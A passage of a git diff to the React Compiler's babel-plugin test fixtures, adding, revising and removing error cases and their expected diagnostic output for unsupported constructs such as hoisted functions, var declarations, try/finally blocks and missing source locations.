+ *   Non-forget (expected):
+ *   (kind: ok) <div>{"result":{"value":2},"fn":{"kind":"Function","result":{"value":2}},"shouldInvokeFns":true}</div>
+ *   Forget:
+ *   (kind: exception) bar is not a function
+ */
+function Foo({value}) {
+  const result = bar();
+  function bar() {
+    return {value};
+  }
+  return <Stringify result={result} fn={bar} shouldInvokeFns={true} />;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Foo,
+  params: [{value: 2}],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-handle-update-context-identifiers.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-handle-update-context-identifiers.expect.md
index 7467601b2279..eb7e37ba1636 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-handle-update-context-identifiers.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-handle-update-context-identifiers.expect.md
@@ -22,10 +22,15 @@ export const FIXTURE_ENTRYPOINT = {
 ## Error
 
 ```
+Found 1 error:
+
+Todo: (BuildHIR::lowerExpression) Handle UpdateExpression to variables captured within lambdas.
+
+error.todo-handle-update-context-identifiers.ts:4:11
   2 |   let counter = 2;
   3 |   const fn = () => {
 > 4 |     return counter++;
-    |            ^^^^^^^^^ Todo: (BuildHIR::lowerExpression) Handle UpdateExpression to variables captured within lambdas. (4:4)
+    |            ^^^^^^^^^ (BuildHIR::lowerExpression) Handle UpdateExpression to variables captured within lambdas.
   5 |   };
   6 |
   7 |   return fn();
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-hoist-function-decls.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-hoist-function-decls.expect.md
index 02b2060e84e7..0909abd0d499 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-hoist-function-decls.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-hoist-function-decls.expect.md
@@ -15,12 +15,21 @@ function Component() {
 ## Error
 
 ```
+Found 1 error:
+
+Todo: Support functions with unreachable code that may contain hoisted declarations
+
+error.todo-hoist-function-decls.ts:3:2
   1 | function Component() {
-> 2 |   return get2();
-    |          ^^^^^^ Todo: Unsupported declaration type for hoisting. variable "get2" declared with FunctionDeclaration (2:2)
-  3 |   function get2() {
-  4 |     return 2;
-  5 |   }
+  2 |   return get2();
+> 3 |   function get2() {
+    |   ^^^^^^^^^^^^^^^^^
+> 4 |     return 2;
+    | ^^^^^^^^^^^^^
+> 5 |   }
+    | ^^^^ Support functions with unreachable code that may contain hoisted declarations
+  6 | }
+  7 |
 ```
           
       
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-hoisted-function-in-unreachable-code.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-hoisted-function-in-unreachable-code.expect.md
index 1d88b8d50c34..6cd0945d74d5 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-hoisted-function-in-unreachable-code.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-hoisted-function-in-unreachable-code.expect.md
@@ -2,7 +2,7 @@
 ## Input
 
 ```javascript
-// @compilationMode(infer)
+// @compilationMode:"infer"
 function Component() {
   return <Foo />;
 
@@ -16,12 +16,20 @@ function Component() {
 ## Error
 
 ```
+Found 1 error:
+
+Invariant: [InferMutationAliasingEffects] Expected value kind to be initialized
+
+<unknown> Foo$0.
+
+error.todo-hoisted-function-in-unreachable-code.ts:3:10
+  1 | // @compilationMode:"infer"
+  2 | function Component() {
+> 3 |   return <Foo />;
+    |           ^^^ this is uninitialized
   4 |
   5 |   // This is unreachable from a control-flow perspective, but it gets hoisted
-> 6 |   function Foo() {}
-    |   ^^^^^^^^^^^^^^^^^ Todo: Support functions with unreachable code that may contain hoisted declarations (6:6)
-  7 | }
-  8 |
+  6 |   function Foo() {}
 ```
           
       
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-hoisted-function-in-unreachable-code.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-hoisted-function-in-unreachable-code.js
index e23016cc492c..d67232371d07 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-hoisted-function-in-unreachable-code.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-hoisted-function-in-unreachable-code.js
@@ -1,4 +1,4 @@
-// @compilationMode(infer)
+// @compilationMode:"infer"
 function Component() {
   return <Foo />;
 
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-hoisting-simple-var-declaration.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-hoisting-simple-var-declaration.expect.md
index 7c0f9eaf96ad..363a21db1836 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-hoisting-simple-var-declaration.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-hoisting-simple-var-declaration.expect.md
@@ -25,10 +25,15 @@ export const FIXTURE_ENTRYPOINT = {
 ## Error
 
 ```
+Found 1 error:
+
+Todo: (BuildHIR::lowerStatement) Handle var kinds in VariableDeclaration
+
+error.todo-hoisting-simple-var-declaration.ts:7:2
    5 |   }
    6 |   const result = addOne(2);
 >  7 |   var a = 1;
-     |   ^^^^^^^^^^ Todo: (BuildHIR::lowerStatement) Handle var kinds in VariableDeclaration (7:7)
+     |   ^^^^^^^^^^ (BuildHIR::lowerStatement) Handle var kinds in VariableDeclaration
    8 |
    9 |   return result; // OK: returns NaN. The code is semantically wrong but technically correct
   10 | }
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-hook-call-spreads-mutable-iterator.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-hook-call-spreads-mutable-iterator.expect.md
new file mode 100644
index 000000000000..32ba43bede29
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-hook-call-spreads-mutable-iterator.expect.md
@@ -0,0 +1,38 @@
+
+## Input
+
+```javascript
+import {useIdentity} from 'shared-runtime';
+
+function Component() {
+  const items = makeArray(0, 1, 2, null, 4, false, 6);
+  return useIdentity(...items.values());
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [],
+  sequentialRenders: [{}, {}],
+};
+
+```
+
+
+## Error
+
+```
+Found 1 error:
+
+Todo: Support spread syntax for hook arguments
+
+error.todo-hook-call-spreads-mutable-iterator.ts:5:24
+  3 | function Component() {
+  4 |   const items = makeArray(0, 1, 2, null, 4, false, 6);
+> 5 |   return useIdentity(...items.values());
+    |                         ^^^^^^^^^^^^^^ Support spread syntax for hook arguments
+  6 | }
+  7 |
+  8 | export const FIXTURE_ENTRYPOINT = {
+```
+          
+      
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-hook-call-spreads-mutable-iterator.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-hook-call-spreads-mutable-iterator.js
new file mode 100644
index 000000000000..982fd83dc8a2
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-hook-call-spreads-mutable-iterator.js
@@ -0,0 +1,12 @@
+import {useIdentity} from 'shared-runtime';
+
+function Component() {
+  const items = makeArray(0, 1, 2, null, 4, false, 6);
+  return useIdentity(...items.values());
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [],
+  sequentialRenders: [{}, {}],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-iife-return-modified-later-logical.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-iife-return-modified-later-logical.expect.md
deleted file mode 100644
index c14ae737e544..000000000000
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-iife-return-modified-later-logical.expect.md
+++ /dev/null
@@ -1,29 +0,0 @@
-
-## Input
-
-```javascript
-import { getNull } from "shared-runtime";
-
-function Component(props) {
-  const items = (() => {
-    return getNull() ?? [];
-  })();
-  items.push(props.a);
-  return items;
-}
-
-export const FIXTURE_ENTRYPOINT = {
-  fn: Component,
-  params: [{ a: {} }],
-};
-
-```
-
-
-## Error
-
-```
-Invariant: Invalid nesting in program blocks or scopes. Items overlap but are not nested: 2:15(3:21)
-```
-          
-      
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-iife-return-modified-later-logical.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-iife-return-modified-later-logical.js
deleted file mode 100644
index 267d360231e9..000000000000
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-iife-return-modified-later-logical.js
+++ /dev/null
@@ -1,14 +0,0 @@
-import { getNull } from "shared-runtime";
-
-function Component(props) {
-  const items = (() => {
-    return getNull() ?? [];
-  })();
-  items.push(props.a);
-  return items;
-}
-
-export const FIXTURE_ENTRYPOINT = {
-  fn: Component,
-  params: [{ a: {} }],
-};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-invalid-jsx-in-catch-in-outer-try-with-finally.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-invalid-jsx-in-catch-in-outer-try-with-finally.expect.md
new file mode 100644
index 000000000000..b5c079f5423b
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-invalid-jsx-in-catch-in-outer-try-with-finally.expect.md
@@ -0,0 +1,61 @@
+
+## Input
+
+```javascript
+// @validateNoJSXInTryStatements @outputMode:"lint"
+import {identity} from 'shared-runtime';
+
+function Component(props) {
+  let el;
+  try {
+    let value;
+    try {
+      value = identity(props.foo);
+    } catch {
+      el = <div value={value} />;
+    }
+  } finally {
+    console.log(el);
+  }
+  return el;
+}
+
+```
+
+
+## Error
+
+```
+Found 1 error:
+
+Todo: (BuildHIR::lowerStatement) Handle TryStatement without a catch clause
+
+error.todo-invalid-jsx-in-catch-in-outer-try-with-finally.ts:6:2
+   4 | function Component(props) {
+   5 |   let el;
+>  6 |   try {
+     |   ^^^^^
+>  7 |     let value;
+     | ^^^^^^^^^^^^^^
+>  8 |     try {
+     | ^^^^^^^^^^^^^^
+>  9 |       value = identity(props.foo);
+     | ^^^^^^^^^^^^^^
+> 10 |     } catch {
+     | ^^^^^^^^^^^^^^
+> 11 |       el = <div value={value} />;
+     | ^^^^^^^^^^^^^^
+> 12 |     }
+     | ^^^^^^^^^^^^^^
+> 13 |   } finally {
+     | ^^^^^^^^^^^^^^
+> 14 |     console.log(el);
+     | ^^^^^^^^^^^^^^
+> 15 |   }
+     | ^^^^ (BuildHIR::lowerStatement) Handle TryStatement without a catch clause
+  16 |   return el;
+  17 | }
+  18 |
+```
+          
+      
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-invalid-jsx-in-catch-in-outer-try-with-finally.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-invalid-jsx-in-catch-in-outer-try-with-finally.js
new file mode 100644
index 000000000000..fbc0d292ce65
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-invalid-jsx-in-catch-in-outer-try-with-finally.js
@@ -0,0 +1,17 @@
+// @validateNoJSXInTryStatements @outputMode:"lint"
+import {identity} from 'shared-runtime';
+
+function Component(props) {
+  let el;
+  try {
+    let value;
+    try {
+      value = identity(props.foo);
+    } catch {
+      el = <div value={value} />;
+    }
+  } finally {
+    console.log(el);
+  }
+  return el;
+}
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-invalid-jsx-in-try-with-finally.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-invalid-jsx-in-try-with-finally.expect.md
new file mode 100644
index 000000000000..79ae59e64c11
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-invalid-jsx-in-try-with-finally.expect.md
@@ -0,0 +1,44 @@
+
+## Input
+
+```javascript
+// @validateNoJSXInTryStatements @outputMode:"lint"
+function Component(props) {
+  let el;
+  try {
+    el = <div />;
+  } finally {
+    console.log(el);
+  }
+  return el;
+}
+
+```
+
+
+## Error
+
+```
+Found 1 error:
+
+Todo: (BuildHIR::lowerStatement) Handle TryStatement without a catch clause
+
+error.todo-invalid-jsx-in-try-with-finally.ts:4:2
+   2 | function Component(props) {
+   3 |   let el;
+>  4 |   try {
+     |   ^^^^^
+>  5 |     el = <div />;
+     | ^^^^^^^^^^^^^^^^^
+>  6 |   } finally {
+     | ^^^^^^^^^^^^^^^^^
+>  7 |     console.log(el);
+     | ^^^^^^^^^^^^^^^^^
+>  8 |   }
+     | ^^^^ (BuildHIR::lowerStatement) Handle TryStatement without a catch clause
+   9 |   return el;
+  10 | }
+  11 |
+```
+          
+      
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-invalid-jsx-in-try-with-finally.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-invalid-jsx-in-try-with-finally.js
new file mode 100644
index 000000000000..da1682772144
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-invalid-jsx-in-try-with-finally.js
@@ -0,0 +1,10 @@
+// @validateNoJSXInTryStatements @outputMode:"lint"
+function Component(props) {
+  let el;
+  try {
+    el = <div />;
+  } finally {
+    console.log(el);
+  }
+  return el;
+}
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-kitchensink.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-kitchensink.expect.md
index 956f3ee1efd0..60fbf9637ff4 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-kitchensink.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-kitchensink.expect.md
@@ -2,7 +2,7 @@
 ## Input
 
 ```javascript
-function foo([a, b], { c, d, e = "e" }, f = "f", ...args) {
+function foo([a, b], {c, d, e = 'e'}, f = 'f', ...args) {
   let i = 0;
   var x = [];
 
@@ -13,8 +13,8 @@ function foo([a, b], { c, d, e = "e" }, f = "f", ...args) {
     }
   }
 
-  const g = { b() {}, c: () => {} };
-  const { z, aa = "aa" } = useCustom();
+  const g = {b() {}, c: () => {}};
+  const {z, aa = 'aa'} = useCustom();
 
   <Button haha={1}></Button>;
   <Button>{/** empty */}</Button>;
@@ -41,10 +41,10 @@ function foo([a, b], { c, d, e = "e" }, f = "f", ...args) {
   }
   for ([v] of [[1], [2]]) {
   }
-  for ({ v } of [{ v: 1 }, { v: 2 }]) {
+  for ({v} of [{v: 1}, {v: 2}]) {
   }
 
-  for (let x in { a: 1 }) {
+  for (let x in {a: 1}) {
   }
 
   let updateIdentifier = 0;
@@ -79,41 +79,24 @@ let moduleLocal = false;
 ## Error
 
 ```
-  1 | function foo([a, b], { c, d, e = "e" }, f = "f", ...args) {
-  2 |   let i = 0;
-> 3 |   var x = [];
-    |   ^^^^^^^^^^^ Todo: (BuildHIR::lowerStatement) Handle var kinds in VariableDeclaration (3:3)
-
-Todo: (BuildHIR::lowerStatement) Handle ClassDeclaration statements (5:10)
-
-Todo: (BuildHIR::lowerStatement) Handle non-variable initialization in ForStatement (20:22)
-
-Todo: (BuildHIR::lowerStatement) Handle non-variable initialization in ForStatement (23:25)
-
-Todo: (BuildHIR::lowerStatement) Handle non-variable initialization in ForStatement (26:28)
-
-Todo: (BuildHIR::lowerStatement) Handle empty test in ForStatement (26:28)
-
-Todo: (BuildHIR::lowerExpression) Handle tagged template with interpolations (30:32)
-
-Todo: (BuildHIR::lowerExpression) Handle tagged template where cooked value is different from raw value (34:34)
-
-Todo: (BuildHIR::lowerStatement) Handle Identifier inits in ForOfStatement (36:36)
-
-Todo: (BuildHIR::lowerStatement) Handle ArrayPattern inits in ForOfStatement (38:38)
-
-Todo: (BuildHIR::lowerStatement) Handle ObjectPattern inits in ForOfStatement (40:40)
-
-Todo: (BuildHIR::lowerExpression) Handle UpdateExpression with MemberExpression argument (49:49)
-
-Todo: (BuildHIR::lowerExpression) Handle UpdateExpression with MemberExpression argument (50:50)
-
-Todo: (BuildHIR::node.lowerReorderableExpression) Expression type `MemberExpression` cannot be safely reordered (57:57)
-
-Todo: (BuildHIR::node.lowerReorderableExpression) Expression type `BinaryExpression` cannot be safely reordered (53:53)
-  4 |
-  5 |   class Bar {
-  6 |     #secretSauce = 42;
+Found 1 error:
+
+Invariant: Expected a variable declaration
+
+Got ExpressionStatement.
+
+error.todo-kitchensink.ts:20:2
+  18 |   const j = function bar([quz, qux], ...args) {};
+  19 |
+> 20 |   for (; i < 3; i += 1) {
+     |   ^^^^^^^^^^^^^^^^^^^^^^^
+> 21 |     x.push(i);
+     | ^^^^^^^^^^^^^^
+> 22 |   }
+     | ^^^^ Expected a variable declaration
+  23 |   for (; i < 3; ) {
+  24 |     break;
+  25 |   }
 ```
           
       
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-kitchensink.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-kitchensink.js
index 111f9b25b1d8..26c51d829759 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-kitchensink.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-kitchensink.js
@@ -1,4 +1,4 @@
-function foo([a, b], { c, d, e = "e" }, f = "f", ...args) {
+function foo([a, b], {c, d, e = 'e'}, f = 'f', ...args) {
   let i = 0;
   var x = [];
 
@@ -9,8 +9,8 @@ function foo([a, b], { c, d, e = "e" }, f = "f", ...args) {
     }
   }
 
-  const g = { b() {}, c: () => {} };
-  const { z, aa = "aa" } = useCustom();
+  const g = {b() {}, c: () => {}};
+  const {z, aa = 'aa'} = useCustom();
 
   <Button haha={1}></Button>;
   <Button>{/** empty */}</Button>;
@@ -37,10 +37,10 @@ function foo([a, b], { c, d, e = "e" }, f = "f", ...args) {
   }
   for ([v] of [[1], [2]]) {
   }
-  for ({ v } of [{ v: 1 }, { v: 2 }]) {
+  for ({v} of [{v: 1}, {v: 2}]) {
   }
 
-  for (let x in { a: 1 }) {
+  for (let x in {a: 1}) {
   }
 
   let updateIdentifier = 0;
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-logical-expression-within-try-catch.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-logical-expression-within-try-catch.expect.md
deleted file mode 100644
index ba80982b3aa6..000000000000
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-logical-expression-within-try-catch.expect.md
+++ /dev/null
@@ -1,30 +0,0 @@
-
-## Input
-
-```javascript
-function Component(props) {
-  let result;
-  try {
-    result = props.cond && props.foo;
-  } catch (e) {
-    console.log(e);
-  }
-  return result;
-}
-
-```
-
-
-## Error
-
-```
-  2 |   let result;
-  3 |   try {
-> 4 |     result = props.cond && props.foo;
-    |              ^^^^^ Todo: Support value blocks (conditional, logical, optional chaining, etc) within a try/catch statement (4:4)
-  5 |   } catch (e) {
-  6 |     console.log(e);
-  7 |   }
-```
-          
-      
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-logical-expression-within-try-catch.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-logical-expression-within-try-catch.js
deleted file mode 100644
index 4ccfb99d0c63..000000000000
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-logical-expression-within-try-catch.js
+++ /dev/null
@@ -1,9 +0,0 @@
-function Component(props) {
-  let result;
-  try {
-    result = props.cond && props.foo;
-  } catch (e) {
-    console.log(e);
-  }
-  return result;
-}
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-missing-source-locations.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-missing-source-locations.expect.md
new file mode 100644
index 000000000000..bd67087e377b
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.todo-missing-source-locations.expect.md
@@ -0,0 +1,356 @@
+
+## Input
+
+```javascript
+// @validateSourceLocations
+import {useEffect, useCallback} from 'react';
+
+function Component({prop1, prop2}) {
+  const x = prop1 + prop2;
+  const y = x * 2;
+  const arr = [x, y];
+  const obj = {x, y};
+  let destA, destB;
+  if (y > 5) {
+    [destA, destB] = arr;
+  }
+
+  const [a, b] = arr;
+  const {x: c, y: d} = obj;
+  let sound;
+
+  if (y > 10) {
+    sound = 'woof';
+  } else {
+    sound = 'meow';
+  }
+
+  useEffect(() => {
+    if (a > 10) {
+      console.log(a);
+      console.log(sound);
+      console.log(destA, destB);
+    }
+  }, [a, sound, destA, destB]);
+
+  const foo = useCallback(() => {
+    return a + b;
+  }, [a, b]);
+
+  function bar() {
+    return (c + d) * 2;
+  }
+
+  console.log('Hello, world!');
+
+  return [y, foo, bar];
+}
+
+```
+
+
+## Error
+
+```
+Found 22 errors:
+
+Todo: Important source location missing in generated code
+
+Source location for Identifier is missing in the generated output. This can cause coverage instrumentation to fail to track this code properly, resulting in inaccurate coverage reports..
+
+error.todo-missing-source-locations.ts:4:9
+  2 | import {useEffect, useCallback} from 'react';
+  3 |
+> 4 | function Component({prop1, prop2}) {
+    |          ^^^^^^^^^
+  5 |   const x = prop1 + prop2;
+  6 |   const y = x * 2;
+  7 |   const arr = [x, y];
+
+Todo: Important source location missing in generated code
+
+Source location for VariableDeclaration is missing in the generated output. This can cause coverage instrumentation to fail to track this code properly, resulting in inaccurate coverage reports..
+
+error.todo-missing-source-locations.ts:9:2
+   7 |   const arr = [x, y];
+   8 |   const obj = {x, y};
+>  9 |   let destA, destB;
+     |   ^^^^^^^^^^^^^^^^^
+  10 |   if (y > 5) {
+  11 |     [destA, destB] = arr;
+  12 |   }
+
+Todo: Important source location missing in generated code
+
+Source location for ExpressionStatement is missing in the generated output. This can cause coverage instrumentation to fail to track this code properly, resulting in inaccurate coverage reports..
+
+error.todo-missing-source-locations.ts:11:4
+   9 |   let destA, destB;
+  10 |   if (y > 5) {
+> 11 |     [destA, destB] = arr;
+     |     ^^^^^^^^^^^^^^^^^^^^^
+  12 |   }
+  13 |
+  14 |   const [a, b] = arr;
+
+Todo: Important source location missing in generated code
+
+Source location for Identifier is missing in the generated output. This can cause coverage instrumentation to fail to track this code properly, resulting in inaccurate coverage reports..
+
+error.todo-missing-source-locations.ts:15:9
+  13 |
+  14 |   const [a, b] = arr;
+> 15 |   const {x: c, y: d} = obj;
+     |          ^
+  16 |   let sound;
+  17 |
+  18 |   if (y > 10) {
+
+Todo: Important source location missing in generated code
+
+Source location for Identifier is missing in the generated output. This can cause coverage instrumentation to fail to track this code properly, resulting in inaccurate coverage reports..
+
+error.todo-missing-source-locations.ts:15:15
+  13 |
+  14 |   const [a, b] = arr;
+> 15 |   const {x: c, y: d} = obj;
+     |                ^
+  16 |   let sound;
+  17 |
+  18 |   if (y > 10) {
+
+Todo: Important source location missing in generated code
+
+Source location for VariableDeclaration is missing in the generated output. This can cause coverage instrumentation to fail to track this code properly, resulting in inaccurate coverage reports..
+
+error.todo-missing-source-locations.ts:16:2
+  14 |   const [a, b] = arr;
+  15 |   const {x: c, y: d} = obj;
+> 16 |   let sound;
+     |   ^^^^^^^^^^
+  17 |
+  18 |   if (y > 10) {
+  19 |     sound = 'woof';
+
+Todo: Important source location missing in generated code
+
+Source location for ExpressionStatement is missing in the generated output. This can cause coverage instrumentation to fail to track this code properly, resulting in inaccurate coverage reports..
+
+error.todo-missing-source-locations.ts:19:4
+  17 |
+  18 |   if (y > 10) {
+> 19 |     sound = 'woof';
+     |     ^^^^^^^^^^^^^^^
+  20 |   } else {
+  21 |     sound = 'meow';
+  22 |   }
+
+Todo: Important source location has wrong node type in generated code
+
+Source location for Identifier exists in the generated output but with wrong node type(s): ExpressionStatement. This can cause coverage instrumentation to fail to track this code properly, resulting in inaccurate coverage reports..
+
+error.todo-missing-source-locations.ts:19:4
+  17 |
+  18 |   if (y > 10) {
+> 19 |     sound = 'woof';
+     |     ^^^^^
+  20 |   } else {
+  21 |     sound = 'meow';
+  22 |   }
+
+Todo: Important source location missing in generated code
+
+Source location for ExpressionStatement is missing in the generated output. This can cause coverage instrumentation to fail to track this code properly, resulting in inaccurate coverage reports..
+
+error.todo-missing-source-locations.ts:21:4
+  19 |     sound = 'woof';
+  20 |   } else {
+> 21 |     sound = 'meow';
+     |     ^^^^^^^^^^^^^^^
+  22 |   }
+  23 |
+  24 |   useEffect(() => {
+
+Todo: Important source location has wrong node type in generated code
+
+Source location for Identifier exists in the generated output but with wrong node type(s): ExpressionStatement. This can cause coverage instrumentation to fail to track this code properly, resulting in inaccurate coverage reports..
+
+error.todo-missing-source-locations.ts:21:4
+  19 |     sound = 'woof';
+  20 |   } else {
+> 21 |     sound = 'meow';
+     |     ^^^^^
+  22 |   }
+  23 |
+  24 |   useEffect(() => {
+
+Todo: Important source location missing in generated code
+
+Source location for ExpressionStatement is missing in the generated output. This can cause coverage instrumentation to fail to track this code properly, resulting in inaccurate coverage reports..
+
+error.todo-missing-source-locations.ts:24:2
+  22 |   }
+  23 |
+> 24 |   useEffect(() => {
+     |   ^^^^^^^^^^^^^^^^^
+> 25 |     if (a > 10) {
+     | ^^^^^^^^^^^^^^^^^
+> 26 |       console.log(a);
+     | ^^^^^^^^^^^^^^^^^
+> 27 |       console.log(sound);
+     | ^^^^^^^^^^^^^^^^^
+> 28 |       console.log(destA, destB);
+     | ^^^^^^^^^^^^^^^^^
+> 29 |     }
+     | ^^^^^^^^^^^^^^^^^
+> 30 |   }, [a, sound, destA, destB]);
+     | ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
+  31 |
+  32 |   const foo = useCallback(() => {
+  33 |     return a + b;
+
+Todo: Important source location missing in generated code
+
+Source location for ExpressionStatement is missing in the generated output. This can cause coverage instrumentation to fail to track this code properly, resulting in inaccurate coverage reports..
+
+error.todo-missing-source-locations.ts:26:6
+  24 |   useEffect(() => {
+  25 |     if (a > 10) {
+> 26 |       console.log(a);
+     |       ^^^^^^^^^^^^^^^
+  27 |       console.log(sound);
+  28 |       console.log(destA, destB);
+  29 |     }
+
+Todo: Important source location missing in generated code
+
+Source location for Identifier is missing in the generated output. This can cause coverage instrumentation to fail to track this code properly, resulting in inaccurate coverage reports..
+
+error.todo-missing-source-locations.ts:26:14
+  24 |   useEffect(() => {
+  25 |     if (a > 10) {
+> 26 |       console.log(a);
+     |               ^^^
+  27 |       console.log(sound);
+  28 |       console.log(destA, destB);
+  29 |     }
+
+Todo: Important source location missing in generated code
+
+Source location for ExpressionStatement is missing in the generated output. This can cause coverage instrumentation to fail to track this code properly, resulting in inaccurate coverage reports..
+
+error.todo-missing-source-locations.ts:27:6
+  25 |     if (a > 10) {
+  26 |       console.log(a);
+> 27 |       console.log(sound);
+     |       ^^^^^^^^^^^^^^^^^^^
+  28 |       console.log(destA, destB);
+  29 |     }
+  30 |   }, [a, sound, destA, destB]);
+
+Todo: Important source location missing in generated code
+
+Source location for Identifier is missing in the generated output. This can cause coverage instrumentation to fail to track this code properly, resulting in inaccurate coverage reports..
+
+error.todo-missing-source-locations.ts:27:14
+  25 |     if (a > 10) {
+  26 |       console.log(a);
+> 27 |       console.log(sound);
+     |               ^^^
+  28 |       console.log(destA, destB);
+  29 |     }
+  30 |   }, [a, sound, destA, destB]);
+
+Todo: Important source location missing in generated code
+
+Source location for ExpressionStatement is missing in the generated output. This can cause coverage instrumentation to fail to track this code properly, resulting in inaccurate coverage reports..
+
+error.todo-missing-source-locations.ts:28:6
+  26 |       console.log(a);
+  27 |       console.log(sound);
+> 28 |       console.log(destA, destB);
+     |       ^^^^^^^^^^^^^^^^^^^^^^^^^^
+  29 |     }
+  30 |   }, [a, sound, destA, destB]);
+  31 |
+
+Todo: Important source location missing in generated code
+
+Source location for Identifier is missing in the generated output. This can cause coverage instrumentation to fail to track this code properly, resulting in inaccurate coverage reports..
+
+error.todo-missing-source-locations.ts:28:14
+  26 |       console.log(a);
+  27 |       console.log(sound);
+> 28 |       console.log(destA, destB);
+     |               ^^^
+  29 |     }
+  30 |   }, [a, sound, destA, destB]);
+  31 |
+
+Todo: Important source location missing in generated code
+
+Source location for Identifier is missing in the generated output. This can cause coverage instrumentation to fail to track this code properly, resulting in inaccurate coverage reports..
+
+error.todo-missing-source-locations.ts:32:14
+  30 |   }, [a, sound, destA, destB]);
+  31 |
+> 32 |   const foo = useCallback(() => {
+     |               ^^^^^^^^^^^
+  33 |     return a + b;
